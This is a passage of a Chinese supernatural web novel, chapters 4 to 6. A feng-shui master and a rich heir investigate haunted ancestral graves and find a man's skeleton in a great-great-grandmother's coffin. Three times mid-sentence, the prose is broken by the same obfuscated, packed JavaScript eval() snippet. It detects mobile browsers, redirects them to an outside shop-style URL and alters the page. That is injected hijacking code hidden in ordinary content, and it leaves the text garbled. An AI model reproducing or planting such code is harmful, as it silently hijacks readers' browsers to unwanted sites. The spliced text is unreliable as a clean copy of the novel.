“嗯。”陆叙说,“先吃点饭吧,我快饿死了,你算一下时间,晚上十点多到那里就行,先看个大概,其他的明天再说。” “要带人或者准备什么吗?” “不用,你是族人,你带我上去就行,人多了反而会影响气场。” 其实是有个这种体质的人跟着,阴气不会太影响他,挺好。 吃完饭,陆修望换了一身简单的黑色休闲服,头发有点凌乱,看起来清爽又桀骜,陆叙觉得他像那种校草级别的男大,是个不可多得的帅哥苗子。 忍不住拍了拍他的肩:“这样穿才对嘛,小小年纪穿什么西装装深沉,看起来又老又小的。” 陆修望确信自己绝对把他得罪狠了,不管做什么都会被这个人刺一下:“下午那会是有个会替我爹去开,他昨晚又被梦魇住了,没睡好。” “哦,这样啊。不过如果这件事处理不好,以后所有会都只能你去开了。” “……”陆修望咬了咬牙,又反驳不了,脸色一片阴沉。 “你看看你,丧着脸干嘛,趁现在还能笑得出来多笑笑吧。” 陆修望听出他的言外之意,再也忍不住了,恶狠狠地说:“你是不是想死?” 陆叙摊了摊手:“随你怎么说,反正我这人只说实话。” 4. 第 4 章 陆修望把车停在山下,两人沿着宽阔的青石路朝后山走,大概二十分钟,前方出现了一片开阔地。 陆叙一眼就看见了那片墓地,地势丰厚圆满,月光之下元合贯通,山水重叠环抱,上分下合,不犯十恶,是块挑不出毛病的宝地,怪不得这个陆家能做到今天这地步。 陆修望指了指最前面那座:“那就是我太爷爷的。” 陆叙走过去,在墓前站定,墓地修得很讲究,周围种了松柏,摆着供品,艮方开阔,流水通畅,左右有护卫,格局没问题。 但陆叙站在那儿,就是觉得哪里不对,他转头看向后面那些老坟。 “你太爷爷的新坟不对劲,不过那股阴气干扰到这边的气场,目前也没法判断。” “那怎么办?” 陆叙没说话,又仔细打量了一番,想明白了个大概,这座坟是关键,有人对这个新坟做了手脚,但阴气流进老宅显然是关键步骤之外的某个环节出了纰漏,或者说,意外。 他抬起头看向陆修望,目光锋利:“你太爷爷的后事是谁办的?” 陆修望皱眉:“很多人都参与了,但主要是我爸负责这件事,几个叔伯负责小环节,怎么了?” “谁封的棺?谁填的土?”陆叙又问。 “封棺请的方家的师傅,填土是家里老人监督工人做的,工人也是家里的。”陆修望的语气里带了点不耐烦,“这些有什么问题吗?” “封棺那天周围环境有没有问题?”陆叙盯着他,“下葬的时候有没有什么异常?” “没有,当时我就在旁边,方师傅郑师傅也在,没什么不对。” “你太爷爷入土前有没有人去打扰过他?” “没有,一直在我爷爷的院子,安排人轮流守着。”陆修望说。 “你确定?” “确定。” 陆叙又问:“参与后事的那些人,都是信得过的?” “是。” “不太可能吧,你仔细排查过吗?” 陆修望的耐心已经快到极限了。 他直起身,冷着脸看着陆叙:“你到底想说什么?我告诉你,我太爷爷的后事,所有人重之又重,绝对不可能有纰漏!这些问题我都回答过无数了,之前那些师傅也都问过,你还问这些没用的干嘛?” 陆叙抬起头,似笑非笑地看着他:“那我走?” 陆修望一愣:“你说什么?” 陆叙站起来,拍了拍裤子上的灰:“我说,你要是觉得我在糊弄你,那我现在就可以走。车费你包一下,咨询费就算了。” 他说得很平静,但没有任何开玩笑的意思。 陆修望盯着他看了几秒,深吸一口气,压下火气,咬着牙道歉:“不好意思,家里最近怪事太多,是我太急躁了。” “我可以肯定是信得过的人操办的,每个环节都有人盯着,不可能出纰漏,但如果你需要,我让人再去查。” “那就行。”陆叙看他态度还算诚恳,点了点头,“带我去看看别的。” 陆修望在前面开路,任劳任怨听着指挥,陆叙在那些老坟之间慢慢转悠,一股细微的臭味传来,陆叙定睛看了看,一座有点破旧的老坟吸引了他的注意。 这座坟很小,墓碑也很简陋,上面的字已经完全看不清了。从规格来看,墓主人在陆家的地位应该不高,但既然能进祖坟,说明至少和主家有联系。 陆叙蹲下身,仔细观察着坟的位置和朝向,这座坟和陆家老太爷的新坟,隐隐呈现出一种合流之势。如果他没猜错,阴气是从这座坟里渗出来的,因为老太爷的新坟被人动过手脚,地下气场有所变化,导致两座坟之间形成了某种连接,让这里的东西无意间流进了陆家老宅。 “这里可能有问题。”陆叙说。 陆修望走过来,看了一眼那座坟,也皱起眉。 “你家应该有族谱吧?”陆叙问,“查一下这座坟埋的是谁。” 陆修望拿出手机,打了个电话。 陆叙伸手扒开周围的杂草,墓碑底座已经开裂了,那股淡淡的腐臭味就是从这里渗出来的。但这味道不太对劲,不是尸体腐烂的味道…… 更像是鬼魂或者邪祟留下的臭味。 这种味道,不应该出现在正经的家族祖坟里。 几分钟后,陆修望挂了电话。 “查到了。”他说,“这是我……一个曾曾祖母的坟。” “你一个曾曾祖母?”陆叙打量了一下周围环境,“她怎么死的?” 陆修望也一脸迷茫:“说是寿终正寝。” “但阴气和梦魇的主要原因应该就在这坟里,你闻不到吗?”陆叙盯着那座老坟,点了几根蜡烛支在坟前,“里面怨气很重。” 陆修望莫名其妙冷笑了一声:“你接下来是不是要说,有人故意做局害她,让她在地下也不得安生?” 陆叙转过头,眼睛亮了一下:“你居然也看这种短剧?” 陆修望一愣:“什么?” “这种玄幻短剧或者小说。”陆叙的关注点明显跑偏了,“我以为你们这种大少爷不看这些,不过里面的内容不太可信,大多是瞎编的,和真实情况差远了。” 陆修望沉默了几秒,有点无语。他只是随口嘲讽一句,这人居然真的当话题聊起来了。 “我就随便说说。”陆修望说。 “随便?我怎么觉得你也对这些感兴趣?” “没有。” “哦。”陆叙点点头,又说,“我不信。” “……你说是就是吧。” “别嘴硬,正常人对夜探坟地这种事都是敬而远之,我看你还挺跃跃欲试。” “……”陆修望感到一阵无力,很想问他,这不是你非得叫我来的吗? 陆叙打量了他一眼:“不过你这样也只能感兴趣,入不了行。” 陆修望皱起眉:“为什么?” “蠢。”陆叙很直接。 陆修望的脸瞬间沉了下来:“你什么意思?” “说你蠢,听不懂吗。”陆叙摆摆手,“不过主要是你体质不适合。” 他指了指陆修望:“八字全阳,甚至可能是纯阳,这种命格的人天生克邪,百煞不侵,难得的好命,但对于这一行来说,就是个废人。” 陆修望气到无话可说,但又来了一点兴趣,忍不住问:“具体说说。” “你感知不到那些东西。”陆叙解释,“普通人虽然看不见,但在极端情况下,至少能感觉到阴冷、压迫感、不舒服之类的,但你不行,那些东西也接触不到你。” “那你呢?”陆修望问,“你体质就适合?” 陆叙笑了一下,没回答这个问题。 他转身,又看向那座老坟。 “回去查你曾曾祖母的事。”他说,“生前的,死后的,下葬时的,越详细越好。” 陆修望深吸一口气,压下心里那点好奇:“年代有点久远了,不一定能查到。” 陆叙说:“先查吧,现在说太多也没用,如果只是普通的怨鬼,我可以处理,但如果牵扯到更复杂的东西……” 陆修望还想追问,陆叙摆手打断他,走回老太爷的墓前,又蹲下来看了看。 “还有,”陆叙突然说,“你太爷爷下葬的时候,棺材里除了他本人,还放了什么东西?” 陆修望想了想:“很多陪葬品,金银首饰、古董、字画,什么都有。” “有没有什么特别的东西?”陆叙问,“比如他生前特别珍视的,或者来路不明的。” 陆修望皱起眉:“我不太清楚……我得回去问问。” “那就回去问。”陆叙站起来,拍拍手上的土,“这些细节很重要,别漏掉任何一样。” 陆修望点点头。 两人往回走,一路只有手机电筒的光亮,偶尔会有奇怪的鸟叫,氛围确实比较阴森,陆修望看着陆叙泰然自若的样子,忍不住又问:“你刚才说我体质不适合,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099167|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么体质适合?” 陆叙想了想。 “八字轻的,阴气重的,天生第六感强的,聪明的。”他说,“总之就是和你截然相反的,那种很容易招鬼的人。” “容易招鬼……“陆修望重复了一遍,看向陆叙那张轻描淡写的脸:“那你这工作岂不是很危险?” “是挺危险的,你懂什么叫除了生死都是擦伤。” 不过陆叙态度看起来很无所谓:“所以我才说你这种体质其实很好很难得,至少安全。” 他顿了顿,又补充:“而且你这种人,一般运气都不会太差,命里不会有坎坷。” 陆修望没说话。 他想起爷爷变得枯瘦的脸,还有家里的情况。 运气不会太差? 陆叙似乎察觉到他的情绪,回头看了他一眼。 “你运气确实不差。”他说,“如果不是你命格硬,陆家倒霉的应该是你。” “……什么意思?” 陆叙说:“你是陆家长孙,而且气运不错,有仇有怨的,想拉替死鬼的,想投胎的,肯定都会先找你,但你体质太特殊,它们碰不到你,只能转而去找你家其他人碰运气。” 他停下脚步,转过身,认真地看着陆修望:“从某种程度上说,如果你先出事,那你家其他人应该不会出问题。” 陆叙耸耸肩:“不过这也不怪你,毕竟你又控制不了自己的生辰八字。” 他转身继续往前走:“所以得赶紧把事情查清楚,早点解决,趁你现在还顶得住。” 第二天一早,陆叙陪同陆修望安排人手去查曾曾祖母的事,交代完细节,陆修望带陆叙去了新的客房,装修讲究,窗外园林风景优美,比他自己那个小工作室不知高到哪去了。 陆叙躺在舒服的床垫上,忍不住叹了口气:“如果下半辈子能住这里,不敢想我会有多爽。” 陆修望站在门口,听到这句话,实在有点无语:“那你多接几单,自己买一套。” “接一辈子单都买不起。”陆叙很惆怅,“我不像你,天生命好。” 陆修望懒得搭理他,转身准备走,刚迈出一步,就听见陆叙叫他。 “诶,等等。” “你还有什么事?” 陆叙靠在床头,朝他晃了晃手机:“来陪我刷一会装备。” 陆修望愣了一下:“我还有事——” “什么事能比这个重要?”陆叙打断他,理直气壮,“你们这个年纪的男生,玩游戏肯定都挺厉害的吧?来来来,带带我。” 陆修望:“……” 他深吸一口气,告诉自己这是客人,不能把他赶出去:“你怎么知道我也玩这游戏?” “人人都玩,你不玩才有鬼了吧?”陆叙已经发了开始创建房间,“快点快点。” 陆修望站在原地犹豫了几秒,最后还是走过去,在床边的沙发上坐下,掏出手机接受了邀请。 接下来几天陆修望也无事可做,他父亲的状态好了点,陆修望感觉可能是蜡烛的作用,他不得不承认,陆叙确实有几分本事。 陆叙看他每天都来客房转悠,就拉着他当陪玩,他真没看错人,这种年纪的男生玩起游戏就是有水平。偶尔两人会四处转转查看情况,陆叙会说一些他帮别人处理事情的经历,陆修望以前虽然对这些没什么兴趣,但听多了还挺有趣。 陆修望渐渐发现,陆叙这人还挺有意思的,特别是玩游戏的时候,话多还爱抱怨,每天不是怒骂策划就是怒骂抽卡机制。 陆修望有时候看着他气急败坏的样子,觉得有点幼稚,但又莫名有点……可爱? 这个词在他脑海里冒出来的时候,他自己都愣了一下。 但仔细想想,好像也没错。 陆修望回到自己房间,觉得自己前几天有点太过于装了,先入为主觉得陆叙不靠谱,对他态度也不太好,陆叙这人,虽然讲话气人,但至少为人真实,当个朋友哥们,其实还挺不错的。 5. 第 5 章 然而,第二天,陆修望带着查到的资料来找陆叙时,对方又变脸了。 陆叙难得没玩手机,面前摆着一堆乱七八糟的蜡烛镜子,他接过那一沓纸,从头到尾翻了一遍。 这个曾曾祖母没留下后代,资料只剩一些生卒年月、族谱记载、账本、一些零散的家族大事件……全都是些无关紧要的东西。 “就这些?”陆叙皱眉。 “就这些。”陆修望说,“年代久远,能找的都找了,家里老人对她也没什么印象,不记得太多细节。” 陆叙把资料扔在桌上,忍不住骂了一句:“废物。” 陆修望的脸色有点不好看:“你说什么?” 陆叙冷笑一声:“你别对号入座,也别给我甩脸子。” 他站起来,在房间里来回走了几步。 陆修望盯着他,深吸了一口气,感觉自己就是陆叙的出气筒。就在昨天,这人还和他热情地讨论新出的角色强度,分析哪个值得抽,哪个是陷阱,结果看到资料之后,立刻就变了脸。 “那现在怎么办?”陆修望压着脾气问。 陆叙停下脚步,看向他,表情难得严肃:“只能开棺。” 陆修望愣了一下:“开哪个?” “你曾曾祖母的。”陆叙说,“问题的源头在她那儿,得先看看坟里到底有什么。” “如果你可以决定的话,把你爸你爷生辰八字发给我。” 陆修望沉默了几秒。 “……行。” 陆叙掏出手机,点开一个小程序,划拉了几下:“最快半个月后,最好就是下个月,稳妥,我推荐是下个月。” 其实陆叙也有一点私心,一个月后日子是最合适的,他也可以在这里享受一段时间生活,但陆家的人就得多遭几天罪,不过这和他又有什么关系呢。 “行,听你的。”陆修望点点头,“还有别的要处理吗?” “请护送封,各个步骤都需要专人,这些你应该能找到可以信任的人,具体时辰,动土方位,找方家问清楚,开棺过程一定不能出差池。” 日子定下来之后,陆叙安然地在陆家老宅享受起了生活,脾气也好了很多。 说实话,这种大宅子住着就是舒服,吃的用的都是最好的,每天还有人专门过来问他吃什么玩什么需要什么。 陆叙也不客气,该吃吃该喝喝,闲着没事就在庄园里到处转悠,要么躺在房间里打游戏,还有陆修望这么一个又帅又有实力的陪玩,陆叙有点乐不思蜀,陆修望也产生了和陆叙成为了好朋友的错觉。 一切风平浪静,就这么过了一个月。 开棺这天,陆叙大半夜就带着陆修望上了山,天还没亮,老郑、方先生,还有陆修望请的各个步骤的护法,总共九个人也来到坟地提前开始做准备了。 摆供品、上香、念经,陆叙的准备工作已经做完,只是站在旁边看着没插手。 也就在这时,他的手机突然响了。 来电显示是许瑶,陆叙皱了皱眉,走到一边,接起了电话。 “喂?” “陆、陆先生……”许瑶的声音在发抖,像是被吓得不行了,“我、我这边……” “怎么了?”陆叙心里咯噔一下,又出事了。 “那个东西又出现了!”许瑶的声音带着哭腔,“而且比之前更严重!水,水好像滴到我脸上了!” 陆叙的表情变得严肃起来:“你现在在哪儿?” “我在被子里……我不敢出去……”许瑶的呼吸声很乱,“怎么办?我该怎么办?” “别慌。”陆叙的语气难得认真起来,“你现在用手机随便播一首狂躁一点的音乐壮胆,找到铜镜,用买时候的红布包起来放包里,去公司或者热闹的市区,总之,别在没人的地方待。” “可是、可是我——” “听我的。”陆叙打断她,“我和你说会儿话,你别害怕,现在立刻马上起床,收拾东西,把你买的那些法器都带上,去网吧也行,包个夜,我处理完事情马上就过来。” “那你……我起来了,你先别挂电话。” “放心,相信我,我会帮你。”陆叙说,“最迟后天早上,我一定来找你。” 许瑶那边沉默了几秒,似乎在强迫自己冷静下来。 “……好。”她深吸了一口气,“我现在就走。” “嗯。”陆叙说,“到了地方给我发定位。” 挂了电话,陆叙站在原地,盯着手机屏幕看了几秒,许瑶那边的情况比他想的要严重,按理说,买了法器之后,那些印记的影响应该会削弱才对,但在好转了一阵后,反而更严重了,这次似乎不再是印记,是那种东西来了。 陆叙只能想到两个原因,要么那个风铃她还没扔,要么法器出了问题。 陆叙揉了揉太阳穴,转身走回墓前,陆修望正站在那座老坟前,看见他回来,关切问了一句:“出什么事了?” “之前的一个客户。”陆叙有点烦躁,“后遗症犯了,我处理完这边得马上过去,希望这边能顺利吧。” 陆修望点点头,没多问。 老郑那边已经准备好了,他过来问陆叙:“时间差不多了,你要点灯吗?” 陆叙看了一眼那座坟:“用不着,开吧。” 护法小心翼翼地撬开墓盖,挪开封土,整个过程持续了大概一个小时。主持在棺材四角贴上黄符,看了看日影,点头示意后,棺材盖才完全打开,陆叙站在棺材边,仔细打量着四周,没出异象,一切正常,怨气应该被暂时封住了,他这才低头往里看。 下一秒,他像是被吓了一跳,嘴里不由自主吐出一句“操。” 陆修望伸手扶住他,也低头看向棺材。 棺材里躺着一具早已化为白骨的遗骸,腐败的寿衣,周围摆着一些简短的陪葬品,只有几件首饰、一面铜镜、一些碎银子,看上去很简陋,但一切正常。 陆修望站在陆叙旁边,盯着棺材看了半天,脸色有点难看。 “就这样?”他转头看向陆叙,语气里带着质问,“你说有什么怨鬼什么异常,在哪儿?我怎么什么都没看到?” 陆叙头也不抬,冷冷地说:“常识都没有的蠢猪,赶快把你的嘴闭上。” 陆修望脸色彻底黑下去了:“你他妈的——” 老郑吓了一跳,拉了陆叙一把:“别乱讲话。” 陆叙冷哼一声:“怕什么,这个主家的蠢蛋还在这大放厥词,有怨报怨有仇报仇,找他就行。” “那你倒是说说什么冤什么——” “闭嘴。”陆叙打断他,抬起头,一副讥讽的表情,“你曾曾祖母是男的吗?” 陆修望愣住了:“你什么意思?” “我问你,”陆叙指着棺材里的遗骸,“你看不出来里面躺的是个男的吗?” 然后对着陆修望做了个嘴型:“沙币。” 空气凝固了几秒,陆修望猛地低头看向棺材。老郑和方先生也凑过来,两人对视了一眼,脸色都变了。 “这……”老郑蹲下身,仔细观察了一下骨骼,“这确实是男性的骨骼。” 陆修望的脸色从黑变白,又从白变青。 “怎么会……”他喃喃自语,“族谱上明明写的是,老人也确认过……” “族谱上写的是女的。”陆叙打断他,“但坟里埋的是个男的。” “所以问题来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099168|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陆叙看着陆修望,“是族谱错漏还是有人故意为之?” 陆修望张了张嘴,一个字都说不出来。 老郑也皱起眉:“这不对啊……如果坟里埋的不是陆家的人,那真正的主人呢?而且这男人又是谁?” “这才是问题的关键。”陆叙蹲下身,又仔细看了一眼棺材里的情况,“你们家这座坟,从一开始就有问题。” 他指着那具白骨。 “当年下葬的时候,你家老坟就已经被人混进来动了手脚。” 陆叙顿了顿,“要么你曾曾祖母没死在当时,有人把他埋在这儿,冒充你曾曾祖母。要么……” “要么什么?”陆修望的声音有点紧。 “要么你曾曾祖母被人抛尸,”陆叙说,“这个人就是用来坏你家风水的。” 空气再次安静下来,陆修望有点难以接受。 “那我曾曾祖母她……” “不知道。”陆叙闭了闭眼,“我知道的是,这个男人是被活埋的,不赶快找人超度,马上就会酿成大祸,短短一个月,附近这一块地就已经臭了。” 他站起来,看向陆修望。 “你家现在梦魇的问题,起源就在这儿。这个男人的怨气积累百年,因为你太爷爷新坟出的纰漏,一朝得以释放,就这么影响到了你家老宅的气场,那个面色青紫恐吓你家人的鬼影,就是他怨气打的像。” 方先生环视四周,叹了口气:“这下坏了,这是扰气局,阴不宁,则阳不安,唉。” “比扰气更严重,这多半是要阴身侵主,带怨气的尸体在你家老坟底下,风水师看不出来,长此以往,不仅主从错位,更会扰乱因果,他图的不是你陆家一时败落,是想让你家后代命途失序,难以顺转。” 陆叙幸灾乐祸笑了两声:“啧啧啧,这得有多大仇多大怨啊。” 陆修望咬着牙,半晌才挤出一句话:“我操。” “操什么操。”陆叙说,“处理不了就去找你爹,孩子。” “……” 陆修望深吸了一口气,掏出手机:“我马上让人安排。” “嗯。”陆叙点点头,然后看向老郑和方先生,“麻烦几位做好封存,找个合适的日子配合师傅把他超度了,其他事等查清楚之后,再决定怎么处理吧。” 老郑和方先生点点头,开始收拾东西。 陆叙走到一边,掏出手机看了一眼。 许瑶还没发消息过来。 他皱了皱眉,给她发了条消息:“怎么样了?” 过了几分钟,许瑶才发来定位:“找了一个人多的网吧,谢谢你。” 陆叙松了口气:“先在那儿待着,别去有镜子的地方,尿急了就去人多的公共厕所,一定别看镜子,知道吗?” 封棺结束,两人一路往回走,陆叙掏出保温杯又喝了几口味道奇怪的水。 陆修望忍不住问:“你喝的什么?” 陆叙冷哼一声:“关你屁事。” 陆修望上前一步,揽住他的肩,拉下脸面道歉:“对不起,我不知道为什么,最近总是控制不住自己,我一直都很相信你的能力,刚才真不是故意质疑你的。” 陆叙缓和了心情,也没和他计较,只是说:“男人的嘴,骗人的鬼。” 陆修望见他还愿意搭理自己,赶忙端正态度:“不说了,过会儿回去小弟带你刷图好吧,就当赔礼道歉了。” 陆叙这才松口:“你这体质虽不受阴气影响,但阴阳两宅气场流转阻滞,往来不畅,会持续放大你命局中偏激躁动的部分,反应过激不是你本意,我可以理解,不会和你计较。” 随后又补充:“刷图出的货二八分,懂我意思吗?” 6. 第 6 章 回到住处,陆叙直接瘫在沙发上,从茶几上抓起手柄。 他朝陆修望扬了扬下巴: “给我把饭端过来。” 陆修望站在门口简直无语到了极点,刚才在坟地的时候,这人还在骂他蠢猪、煞笔,他道歉以后,嘴上说着不介意,脸上还是一副别惹我的表情,现在倒好,又不计前嫌开始把自己当下人使唤了。 “你就不能动一下去外面吃吗?” “别废话,快点。”陆叙打断他,把另一个手柄扔过去。 陆修望接住手柄,沉默了几秒,让人送来了一些吃的,最后还是坐下了。 两人开了个新游,一路打到天黑,陆叙人菜瘾大,嘴也很碎,陆修望一个没看住,对方就要惹祸,惹完还得抱怨陆修望不及时救他。 陆修望一开始还想反驳,后来干脆放弃了,反正说什么这人都能接上话怼回来。 打完最后一局,陆叙扔下手柄,伸了个懒腰。 “行了,我累了,需要休息。”他说,“你家的事情就先告一段落吧。” 陆修望看他一副要发表重要言论的架势,也放下手柄,神情认真看向他。 “剩下的事就是超度、安坟、找遗骨,还有调查谁想搞你家。”陆叙给陆修望简单梳理了一下接下来要做的事,又补充,“这些就不是我的工作范畴了,你家这么牛逼,自己找人处理就行。” “所以呢?” 陆叙瞅了他一眼,那表情怎么看怎么不对味:“所以,这一半事情已经完美解决了,把钱打给我,这都要我提醒你吗?” 陆修望皱起眉:“一半?” 陆叙笑了一下:“你自己心里清楚。” 陆修望沉默了。 陆叙找到了梦魇的源头,是那个被埋在曾曾祖母坟里的男人,但这让事情变得复杂了,过去是谁在针对陆家,现在又是谁动了老太爷的墓,这些他爹的人已经去查了,明面上的东西很好查,但涉及到邪术又是另外一回事了,陆家的问题,远不止于此。 “你家的事,你不想说,但我能看出来,生意,还有那方面,应该多多少少都受到影响了吧。”陆叙似乎看穿了他的想法,“你家老太爷的墓,十有八九是有问题的,你可以找别人帮你处理,但如果你觉得我技术不错,超度完八十一天后再来找我也行。” “为什么是八十一天?”陆修望问。 “怨气太重,超度完也需要时间才能彻底散去。”陆叙解释,“八十一天,周围气场应该恢复得差不多了,那时候再看你太爷爷的坟,就不会看走眼。” 陆修望点点头。 “明白了,那到时候就麻烦你了。” 陆叙话锋一转:“当然,如果你想邀请我在你家住一段时间,陪你玩玩游戏,也不是不行。” 陆修望气笑了,到底是谁陪谁玩啊?就因为家里这堆破事,他最近一个月每天得陪陆叙玩近十小时游戏,年纪轻轻就已经赛博养胃。 “还有,”陆叙打了个哈欠,“明天晚上,我得再去坟地一次,没问题的话,我就先去处理别的事了。” “行。”陆修望说,“需要准备什么,我让人安排。” “不用安排,你陪我去就行。”陆叙摆摆手,“你反正在家也是闲着,我就没见过你这个年纪有谁整天无所事事的。” 陆修望深吸一口气,忍住了想和他争吵的冲动。 “那费用——” “算上材料费,外勤费,五十个,我给你抹了零头。”陆叙说得很干脆,“你应该也懂,处理这些事,最好别还价。” 其实他平日里处理一桩怪事顶天了20万,陆家这部分事情也不算太棘手,但是陆修望最开始的鬼态度,他的车程费材料费,陪陆修望玩游戏的陪玩费,还有受阴气影响,抽卡不顺的损失费,50万很合理吧? 陆叙沉默了一瞬,说起抽卡,他以前怎么没想到…… 陆修望冷笑了一声:“才五十?我以为你会坐地起价狠狠敲诈我一顿。” 陆叙看起来不太高兴,但眼睛亮了:“什么叫敲诈,有你这么说话的吗?当然,你想多给点我也不介意,六十六好听,八十八也不错,图个吉利不是?” 陆修望大手一挥,让人给他转了九十九过去。 “先给你这些。等所有事情解决了,剩下的都好说。” 陆叙确认收到后,心情明显好了不少,他美滋滋地打开抽卡界面看向陆修望: “帮我抽卡?” 陆修望看着他那张得意的脸,真的很想说不,感觉一旦同意今晚又得陪他玩个通宵。 但陆修望只是叹了口气,没拒绝,问他:“为什么要我抽?” 第二天晚上十一点多,两人又一起去了祖坟,月亮被乌云遮掩,但陆修望却感觉今天的墓地看起来敞亮了很多,不再有那种让人不舒服的沉闷感。 陆叙在那座被重新封上的坟前站了很久,点了柱香左右试探。 “怎么样?”陆修望问。 “没什么大问题。”陆叙示意陆修望把香奉上,“师傅设的这个阵大概也就管个十天半个月,超度的事你们得抓紧。” “超度好之后,就尽快把他送出去,找个风水宝地安置好,以免再生事端。” “陆叙,谢谢你。”陆修望看向他,态度难得真诚,“你帮了我们家大忙,以后有用得上的地方,你尽管说。” “说这些干嘛?”陆叙拍了拍他的肩,“拿钱办事,这只是一桩交易,没必要。” “我是说真的——” “行了,不说这个了,我得走了,我的客户还在等我。” 陆修望看了一眼时间:“大半夜你怎么走?不能等明早吗?” “找车呗,这些事情还是越早解决越好。”陆叙看了他一眼,“像你家这事,如果早点查出端倪,也不会到如今这种不好处理的地步。” “我送你。”陆修望说。 陆叙也没拒绝,反而笑了一下:“我知道的,你对这些也很好奇,我懂,带你去见识见识。” 陆修望没说话,他好奇个屁,他真不知道陆叙为什么莫名其妙总觉得他会喜欢这些神秘的东西。 陆修望让人开车过来,两人坐在后座,车子驶出老宅,往安市方向开。陆叙靠在座位上,时不时看一眼陆修望,像是有什么话想说。 陆修望被他看得有点烦:“有什么屁就放。” “那玩意儿真的一点都没影响到你?”陆叙突然问。 “什么玩意儿?” “那个男人啊。”陆叙说,“这种怨鬼很凶的,你在你爷爷的院子里待了这么久,还每天跟着我到坟地转悠,真的一点感觉都没有?” 陆修望想了想:“是,真的,什么都没感觉到,只是偶尔会感觉压抑烦躁。” 陆叙盯着他看了好一会儿,眉头越皱越紧:“不应该啊……” “你什么意思?”陆修望问。 “虽然是全阳体质,但一般破了身的,肯定多少会受点影响。”陆叙很认真地解释,“纯阳之气会有所削弱,对这些东西的抵抗力也会降低一点。” 陆修望的脸色变了又变。 “我操!你他妈在这乱说什么!” “这么急?你不会还是童子身吧?不应该啊?”陆叙疑惑地看向陆修望,上下打量。 陆修望咬牙切齿:“关你屁事。” 陆叙做出恍然大悟的样子:“哦——我懂了。” 陆修望本来不想理他,但看着陆叙那副“我什么都明白了”的表情,还是忍不住问:“你又懂什么了?” 陆叙转过头,一本正经地说:“你这种体质的人,一般都精力充沛,做事充满热情,积极向上。但反过来,性格的负面也很极端,脾气暴躁,星鱼旺盛难以感到满足。但我看着你只是偶尔有精力外泄,再加上你说你还是童子身……” 他顿了顿,语气里带着点同情。 “那你肯定是不太行。” 空气凝固了三秒。 “所以自卑。” 陆修望简直想把他从车上扔下去。 “你懂个屁!”他压低声音吼道,“谁说我不行?!” “那你怎么还是童子身?”陆叙一脸疑惑,“二十一岁了吧?你们这种家族的少爷,不是都早就……” “老子洁身自好清心寡欲不行吗?!”陆修望打断他。 “哦~”陆叙拖长了声音,“洁身自好清心寡欲啊……” 陆叙的语气里满是“我不信”。 陆修望深吸一口气,告诉自己不要和他一般见识: “你到底去不去?不去我现在就让司机停车。” “去去去,不想说就算了。”陆叙把头转向另一边,但嘴角还挂着得意的笑。 陆修望靠在座位上,努力平复心情,但陆叙的话还是在他脑海里回荡,他感觉这人就是来克他的,从遇到陆叙开始他这气就没顺过。 陆叙倒是很自在,玩了会手机,偶尔抬头看一眼窗外,再瞥一眼陆修望那张黑沉沉的脸,忍不住又乐了。 “别生气啊。”他说,“不行也不是什么大事,医生解决不了的问题,我帮你解决,我最近在研究……” “别说了,哥,算我求你了好吗?” 陆叙耸耸肩,终于不说话了。 四点多,车子停在安市一家网吧门口,陆叙下了车,径直就往里走。 “人怎么在这儿?”陆修望皱起眉。 陆叙看了一眼手机上的定位:“我让她找的网吧,这种地方人多,吵闹,她会安心一点。” 网吧灯光明亮人声嘈杂,空气里弥漫着烟味汗味,还有泡面的味道,有点臭,但总体环境还可以,不至于“藏污纳垢”,许瑶在这里很安全。 陆叙扫了一眼,很快在一个角落找到了许瑶。她坐在最靠墙的位置,面前的电脑屏幕亮着,还在播放着视频,但她显然没在看,双手抱着胳膊,身体微微蜷缩,眼睛盯着桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099169|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,整个人看起来很紧绷。 “许瑶。”陆叙走过去。 许瑶猛地抬起头,看见陆叙的瞬间,整个人都放松了一瞬。 “陆先生……”许瑶习惯性抓住陆叙的手臂,声音有点颤抖,显然还心有余悸。 “没事了。”陆叙在她旁边坐下,“你先收拾好东西,过会我们找个地方慢慢聊。” 陆修望站在一边,看着他轻轻拍了拍许瑶的手,怎么看怎么不对味。为什么这人对别的客户温柔又贴心,对着他就是阴阳怪气? 三人在网吧玩了会,待到天亮才离开,路边随意找了一家早点铺坐下,陆修望一副嫌弃的样子,陆叙拍了他一巴掌,转而看向许瑶。 许瑶努力让自己镇定下来,但陆叙能看出来,她还在害怕,手指一直紧紧攥着袖口。 “大体情况电话里我了解了,”陆叙说,“但具体的,你还得再跟我讲一下。” 许瑶深吸了一口气,点点头: “我按你说的买了法器,放在卧室和卫生间。“她的声音很轻,“确实有用,水滴声也只是偶尔能听到,我以为……我以为就这样过去了。” 